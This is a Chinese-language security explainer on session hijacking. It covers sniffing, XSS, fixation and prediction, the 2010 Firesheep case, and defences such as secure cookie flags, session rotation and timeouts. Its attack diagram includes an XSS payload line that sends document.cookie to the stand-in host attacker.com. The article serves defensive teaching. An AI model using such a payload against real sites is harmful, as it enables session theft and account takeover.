会话劫持 (Session Hijacking)
Published: Sat Feb 01 2025 | Modified: Fri Feb 06 2026 , 2 minutes reading.
1. 定义
会话劫持 (Session Hijacking)(又称会话侧劫持)是指攻击者接管用户活跃会话的攻击行为。攻击者窃取或预测有效的 会话 ID (Session ID),并利用它来冒充受害者。由于服务器通过该 ID 识别用户,一旦 ID 被劫持,服务器会认为攻击者就是合法的登录用户。
2. 技术原理
HTTP 是无状态协议。为了保持登录状态,服务器会签发 会话 ID。 如果这个 ID 被窃取,账号的“钥匙”就丢了。在这个阶段,用户的原始密码已不再重要。
常见劫持方法:
- 会话嗅探 (Sniffing): 在未加密的 HTTP 流量(如公共 Wi-Fi)中截获 Cookie。
- 跨站脚本 (XSS): 通过
document.cookie窃取 Cookie。 - 会话固定 (Session Fixation): 攻击者在用户登录之前,先将其会话 ID 设置为已知值。
- 会话预测: 会话 ID 的生成算法过于简单(如顺序数字),导致攻击者可以猜出有效的 ID。
3. 攻击流程 (通过 XSS 窃取 Cookie)
sequenceDiagram
participant Victim as 受害者
participant App as Web 应用
participant Attacker as 攻击者
Victim->>App: 登录
App-->>Victim: Set-Cookie: session=ABC123XYZ
Note over Victim: 受害者访问了被注入 XSS 的页面
Victim->>Attacker: GET /steal?cookie=ABC123XYZ
Note right of Victim: 恶意脚本执行:<br/>fetch('attacker.com?c=' + document.cookie)
Attacker->>App: GET /account (携带 Cookie: session=ABC123XYZ)
Note right of Attacker: 攻击者重放 (Replay) 窃得的 Cookie
App-->>Attacker: 200 OK (显示受害者的后台界面)4. 真实案例:Firesheep (2010)
背景: 当时大多数网站仅在登录页面使用 HTTPS,登录后即回退到 HTTP。 漏洞类别: 会话侧劫持(未加密传输)。
工具影响: 2010 年,Eric Butler 发布了名为 Firesheep 的 Firefox 扩展。 当时 Facebook 和 Twitter 等网站对会话 Cookie 缺乏加密保护。Firesheep 可以嗅探开放 Wi-Fi(如咖啡馆)中的未加密流量。它会在侧边栏显示附近所有登录用户的头像。用户只需双击头像,就能瞬间在浏览器中劫持该用户的 Facebook 账号。
影响: 这一工具迫使整个互联网行业开始全面采用 HTTPS Everywhere (HSTS) 和安全 Cookie 属性,标志着“混合内容会话”时代的终结。
5. 深度防御策略
A. 安全 Cookie 属性
为会话 Cookie 配置严格的标志:
Secure: 确保 Cookie 仅通过加密的 HTTPS 连接发送。防止嗅探。HttpOnly: 禁止 JavaScript 访问 Cookie (document.cookie)。防止 XSS 窃取。SameSite: (Strict或Lax) 防止 CSRF 及部分信息泄露。
Set-Cookie: session_id=...; Secure; HttpOnly; SameSite=LaxB. 会话轮转 (Session Rotation)
务必在用户成功登录后立即签发全新的会话 ID。
- 这能有效防止会话固定攻击。即使攻击者在登录前注入了 ID,该 ID 在用户认证后也会立即失效。
C. 缩短会话生命周期
- 闲置超时: 在用户停止操作 15-30 分钟后自动注销。
- 绝对超时: 即使一直活跃,也在固定时长(如 24 小时)后强制重新认证。
D. 会话绑定 (Session Binding - 高级)
将会话 ID 与客户端属性(如 User-Agent、IP 子网)绑定。
- 检查机制: 如果请求携带正确的 Cookie 但 User-Agent 发生了变化,则判定为异常并作废会话。
